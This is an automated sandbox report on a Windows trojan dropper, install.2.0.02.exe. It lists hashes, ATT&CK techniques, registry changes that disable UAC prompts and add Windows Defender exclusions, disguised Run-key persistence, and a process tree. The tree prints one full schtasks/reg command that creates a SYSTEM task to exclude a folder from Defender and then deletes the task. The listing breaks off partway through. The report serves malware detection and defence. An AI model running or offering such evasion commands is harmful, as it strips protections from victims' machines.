4fb01e02c8b4de0060e1de3ce96b53c84e933293782143fa769bf48624f24501

Analysis

max time kernel
150s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/10/2026, 23:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.02.exe
Size 38.9MB
Sample261023-29fd5aev7w
SHA256 4fb01e02c8b4de0060e1de3ce96b53c84e933293782143fa769bf48624f24501
MD5 797714172d469af8e57c43815994b40d
SHA1 b5bed50731f8e88bcad711b49787bdf497c7d00e
SHA512 53d5d3986e909cab6ad2996fecb37e3bb97287d46938f424e2414ac335419edcc9684b4423fc7a29c0295aff82367274717fc6615283ac1179d9e66efb0ebb5f
SSDEEP 49152:qPnycXVTyTyg5tJyNZ/W/hNbo1iTl8ZFPnMBwbePbgF+VS5sb5m+cZ2lyn0wgsXF:q6chqTShW/hNbSiQfMJPLmrUlsF
TLSH
T17497D69FBF81DE82F957D23498A75B602336D9B40BF1C307125427206F9F2998EE25D8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	6gaJy7.exe

Windows security bypass 2 TTPs 14 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\VMqg4w = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\6gaJy7 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4864	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	6gaJy7.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
384	icacls.exe
968	icacls.exe
4568	icacls.exe
2656	icacls.exe
2380	icacls.exe
2632	icacls.exe
2152	icacls.exe
4620	takeown.exe
2636	icacls.exe
216	icacls.exe
2972	icacls.exe
3956	icacls.exe
4156	icacls.exe
4024	icacls.exe
1924	icacls.exe
2416	icacls.exe
1420	icacls.exe
4872	icacls.exe
2432	icacls.exe
4448	takeown.exe
2524	icacls.exe
4920	icacls.exe
3800	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	3KOZxZ.exe
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	6gaJy7.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 7 IoCs

pid	Process
1536	3KOZxZ.exe
4152	3KOZxZ.exe
1480	6gaJy7.exe
2428	6gaJy7.exe
3972	04SijW5N.exe
2256	04SijW5N.exe
740	6gaJy7.exe

Loads dropped DLL 7 IoCs

pid	Process
1536	3KOZxZ.exe
4152	3KOZxZ.exe
1480	6gaJy7.exe
2428	6gaJy7.exe
3972	04SijW5N.exe
2256	04SijW5N.exe
740	6gaJy7.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4568	icacls.exe
4448	takeown.exe
2380	icacls.exe
4872	icacls.exe
3956	icacls.exe
2432	icacls.exe
216	icacls.exe
1924	icacls.exe
4024	icacls.exe
2656	icacls.exe
4156	icacls.exe
2632	icacls.exe
968	icacls.exe
4920	icacls.exe
3800	icacls.exe
2524	icacls.exe
1420	icacls.exe
2972	icacls.exe
2416	icacls.exe
2152	icacls.exe
384	icacls.exe
4620	takeown.exe
2636	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\VMqg4w\\3KOZxZ.exe\""	3KOZxZ.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\6gaJy7\\6gaJy7.exe\""	6gaJy7.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
980	cmd.exe
3156	cmd.exe
4860	cmd.exe
3616	cmd.exe
1160	cmd.exe
3084	cmd.exe
320	cmd.exe
2252	cmd.exe
2708	cmd.exe
4968	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	3KOZxZ.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\aT2T1\thumbs.db	6gaJy7.exe
File created	C:\Program Files (x86)\6gaJy7\image.png	3KOZxZ.exe
File created	C:\Program Files (x86)\6gaJy7\thumbs.db	3KOZxZ.exe
File created	C:\Program Files (x86)\aT2T1\XPSPLOG.dll	6gaJy7.exe
File opened for modification	C:\Program Files (x86)\aT2T1\XPSPLOG.dll	6gaJy7.exe
File opened for modification	C:\Program Files (x86)\6gaJy7	3KOZxZ.exe
File opened for modification	C:\Program Files (x86)\6gaJy7\6gaJy7.exe	3KOZxZ.exe
File opened for modification	C:\Program Files (x86)\6gaJy7\XPSPLOG.dll	3KOZxZ.exe
File opened for modification	C:\Program Files (x86)\6gaJy7\thumbs.db	3KOZxZ.exe
File created	C:\Program Files (x86)\6gaJy7\6gaJy7.exe	3KOZxZ.exe
File opened for modification	C:\Program Files (x86)\6gaJy7\image.png	3KOZxZ.exe
File created	C:\Program Files (x86)\aT2T1\04SijW5N.exe	6gaJy7.exe
File opened for modification	C:\Program Files (x86)\aT2T1\04SijW5N.exe	6gaJy7.exe
File created	C:\Program Files (x86)\aT2T1\image.png	6gaJy7.exe
File opened for modification	C:\Program Files (x86)\aT2T1\thumbs.db	6gaJy7.exe
File created	C:\Program Files (x86)\6gaJy7\XPSPLOG.dll	3KOZxZ.exe
File opened for modification	C:\Program Files (x86)\aT2T1	6gaJy7.exe
File opened for modification	C:\Program Files (x86)\aT2T1\image.png	6gaJy7.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3692	sc.exe
4636	sc.exe
4600	sc.exe
2120	sc.exe
4724	sc.exe
4304	sc.exe
1764	sc.exe
4776	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	6gaJy7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaveActive = "0"	6gaJy7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\SCRNSAVE.EXE	6gaJy7.exe

Executes a command shell one-liner 1 TTPs 27 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4044	cmd.exe
4680	cmd.exe
3216	cmd.exe
2544	cmd.exe
3784	cmd.exe
3016	cmd.exe
1040	cmd.exe
3300	cmd.exe
4336	cmd.exe
4780	cmd.exe
3492	cmd.exe
1796	cmd.exe
1792	cmd.exe
4764	cmd.exe
4852	cmd.exe
3988	cmd.exe
4892	cmd.exe
4236	cmd.exe
1540	cmd.exe
3884	cmd.exe
2524	cmd.exe
4000	cmd.exe
732	cmd.exe
4608	cmd.exe
4672	cmd.exe
3396	cmd.exe
3940	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	6gaJy7.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	6gaJy7.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.02.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.02.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	3KOZxZ.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	3KOZxZ.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6gaJy7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	6gaJy7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	04SijW5N.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaveActive = "0"	6gaJy7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	6gaJy7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	6gaJy7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\Desktop\SCRNSAVE.EXE	6gaJy7.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1788	schtasks.exe
3260	schtasks.exe
3372	schtasks.exe
1636	schtasks.exe
868	schtasks.exe
3264	schtasks.exe
3684	schtasks.exe
4292	schtasks.exe
1076	schtasks.exe
3484	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
5112	install.2.0.02.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe
1536	3KOZxZ.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
668	Process not Found
668	Process not Found
668	Process not Found
668	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	4620	takeown.exe
Token: SeRestorePrivilege	4568	icacls.exe
Token: SeTakeOwnershipPrivilege	4448	takeown.exe
Token: SeRestorePrivilege	2380	icacls.exe
Token: SeDebugPrivilege	4864	powershell.exe
Token: SeIncreaseQuotaPrivilege	4864	powershell.exe
Token: SeSecurityPrivilege	4864	powershell.exe
Token: SeTakeOwnershipPrivilege	4864	powershell.exe
Token: SeLoadDriverPrivilege	4864	powershell.exe
Token: SeSystemProfilePrivilege	4864	powershell.exe
Token: SeSystemtimePrivilege	4864	powershell.exe
Token: SeProfSingleProcessPrivilege	4864	powershell.exe
Token: SeIncBasePriorityPrivilege	4864	powershell.exe
Token: SeCreatePagefilePrivilege	4864	powershell.exe
Token: SeBackupPrivilege	4864	powershell.exe
Token: SeRestorePrivilege	4864	powershell.exe
Token: SeShutdownPrivilege	4864	powershell.exe
Token: SeDebugPrivilege	4864	powershell.exe
Token: SeSystemEnvironmentPrivilege	4864	powershell.exe
Token: SeRemoteShutdownPrivilege	4864	powershell.exe
Token: SeUndockPrivilege	4864	powershell.exe
Token: SeManageVolumePrivilege	4864	powershell.exe
Token: 33	4864	powershell.exe
Token: 34	4864	powershell.exe
Token: 35	4864	powershell.exe
Token: 36	4864	powershell.exe
Token: SeIncreaseQuotaPrivilege	4864	powershell.exe
Token: SeSecurityPrivilege	4864	powershell.exe
Token: SeTakeOwnershipPrivilege	4864	powershell.exe
Token: SeLoadDriverPrivilege	4864	powershell.exe
Token: SeSystemProfilePrivilege	4864	powershell.exe
Token: SeSystemtimePrivilege	4864	powershell.exe
Token: SeProfSingleProcessPrivilege	4864	powershell.exe
Token: SeIncBasePriorityPrivilege	4864	powershell.exe
Token: SeCreatePagefilePrivilege	4864	powershell.exe
Token: SeBackupPrivilege	4864	powershell.exe
Token: SeRestorePrivilege	4864	powershell.exe
Token: SeShutdownPrivilege	4864	powershell.exe
Token: SeDebugPrivilege	4864	powershell.exe
Token: SeSystemEnvironmentPrivilege	4864	powershell.exe
Token: SeRemoteShutdownPrivilege	4864	powershell.exe
Token: SeUndockPrivilege	4864	powershell.exe
Token: SeManageVolumePrivilege	4864	powershell.exe
Token: 33	4864	powershell.exe
Token: 34	4864	powershell.exe
Token: 35	4864	powershell.exe
Token: 36	4864	powershell.exe
Token: SeIncreaseQuotaPrivilege	4864	powershell.exe
Token: SeSecurityPrivilege	4864	powershell.exe
Token: SeTakeOwnershipPrivilege	4864	powershell.exe
Token: SeLoadDriverPrivilege	4864	powershell.exe
Token: SeSystemProfilePrivilege	4864	powershell.exe
Token: SeSystemtimePrivilege	4864	powershell.exe
Token: SeProfSingleProcessPrivilege	4864	powershell.exe
Token: SeIncBasePriorityPrivilege	4864	powershell.exe
Token: SeCreatePagefilePrivilege	4864	powershell.exe
Token: SeBackupPrivilege	4864	powershell.exe
Token: SeRestorePrivilege	4864	powershell.exe
Token: SeShutdownPrivilege	4864	powershell.exe
Token: SeDebugPrivilege	4864	powershell.exe
Token: SeSystemEnvironmentPrivilege	4864	powershell.exe
Token: SeRemoteShutdownPrivilege	4864	powershell.exe
Token: SeUndockPrivilege	4864	powershell.exe
Token: SeManageVolumePrivilege	4864	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1536 wrote to memory of 980	1536	3KOZxZ.exe	95
PID 980 wrote to memory of 1788	980	cmd.exe	97
PID 980 wrote to memory of 4968	980	cmd.exe	98
PID 980 wrote to memory of 876	980	cmd.exe	100
PID 1540 wrote to memory of 4872	1540	cmd.exe	104
PID 1536 wrote to memory of 3156	1536	3KOZxZ.exe	107
PID 3156 wrote to memory of 3264	3156	cmd.exe	109
PID 3156 wrote to memory of 3160	3156	cmd.exe	110
PID 4852 wrote to memory of 2960	4852	cmd.exe	113
PID 3156 wrote to memory of 4148	3156	cmd.exe	114
PID 1536 wrote to memory of 4860	1536	3KOZxZ.exe	115
PID 4860 wrote to memory of 3260	4860	cmd.exe	117
PID 4860 wrote to memory of 1856	4860	cmd.exe	118
PID 1536 wrote to memory of 3616	1536	3KOZxZ.exe	121
PID 4860 wrote to memory of 3992	4860	cmd.exe	123
PID 1536 wrote to memory of 1160	1536	3KOZxZ.exe	124
PID 3616 wrote to memory of 3372	3616	cmd.exe	126
PID 1160 wrote to memory of 1636	1160	cmd.exe	127
PID 3616 wrote to memory of 2752	3616	cmd.exe	128
PID 1160 wrote to memory of 1112	1160	cmd.exe	130
PID 3616 wrote to memory of 3084	3616	cmd.exe	131
PID 1160 wrote to memory of 3636	1160	cmd.exe	132
PID 3988 wrote to memory of 5096	3988	cmd.exe	134
PID 1040 wrote to memory of 2160	1040	cmd.exe	135
PID 1536 wrote to memory of 1480	1536	3KOZxZ.exe	136
PID 1480 wrote to memory of 3884	1480	6gaJy7.exe	141
PID 1480 wrote to memory of 3940	1480	6gaJy7.exe	142
PID 1480 wrote to memory of 2524	1480	6gaJy7.exe	145
PID 1480 wrote to memory of 3300	1480	6gaJy7.exe	147
PID 1480 wrote to memory of 2708	1480	6gaJy7.exe	149
PID 1480 wrote to memory of 732	1480	6gaJy7.exe	150
PID 1480 wrote to memory of 4000	1480	6gaJy7.exe	153
PID 3884 wrote to memory of 4156	3884	cmd.exe	155
PID 2708 wrote to memory of 3684	2708	cmd.exe	156
PID 732 wrote to memory of 1636	732	cmd.exe	157
PID 1480 wrote to memory of 3084	1480	6gaJy7.exe	158
PID 1636 wrote to memory of 4560	1636	net.exe	160
PID 2708 wrote to memory of 2316	2708	cmd.exe	161
PID 1480 wrote to memory of 4336	1480	6gaJy7.exe	162
PID 1480 wrote to memory of 320	1480	6gaJy7.exe	166
PID 3084 wrote to memory of 4292	3084	cmd.exe	168
PID 4336 wrote to memory of 2632	4336	cmd.exe	231
PID 2708 wrote to memory of 1940	2708	cmd.exe	170
PID 1480 wrote to memory of 4044	1480	6gaJy7.exe	171
PID 320 wrote to memory of 868	320	cmd.exe	172
PID 4044 wrote to memory of 968	4044	cmd.exe	174
PID 3084 wrote to memory of 3692	3084	cmd.exe	175
PID 1480 wrote to memory of 4608	1480	6gaJy7.exe	176
PID 3084 wrote to memory of 3464	3084	cmd.exe	178
PID 320 wrote to memory of 1484	320	cmd.exe	179
PID 4608 wrote to memory of 4920	4608	cmd.exe	180
PID 320 wrote to memory of 3704	320	cmd.exe	181
PID 1480 wrote to memory of 4892	1480	6gaJy7.exe	182
PID 4892 wrote to memory of 3800	4892	cmd.exe	184
PID 1480 wrote to memory of 2252	1480	6gaJy7.exe	185
PID 1480 wrote to memory of 4680	1480	6gaJy7.exe	187
PID 2252 wrote to memory of 1076	2252	cmd.exe	189
PID 4680 wrote to memory of 1924	4680	cmd.exe	190
PID 2252 wrote to memory of 1424	2252	cmd.exe	191
PID 1480 wrote to memory of 3492	1480	6gaJy7.exe	192
PID 3492 wrote to memory of 2416	3492	cmd.exe	195
PID 2252 wrote to memory of 3384	2252	cmd.exe	196
PID 1480 wrote to memory of 3396	1480	6gaJy7.exe	197
PID 3396 wrote to memory of 4872	3396	cmd.exe	199

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	6gaJy7.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.02.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:5112

C:\Users\Public\VMqg4w\3KOZxZ.exe
C:\Users\Public\VMqg4w\3KOZxZ.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\VMqg4w\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:980
- - C:\Windows\system32\schtasks.exe
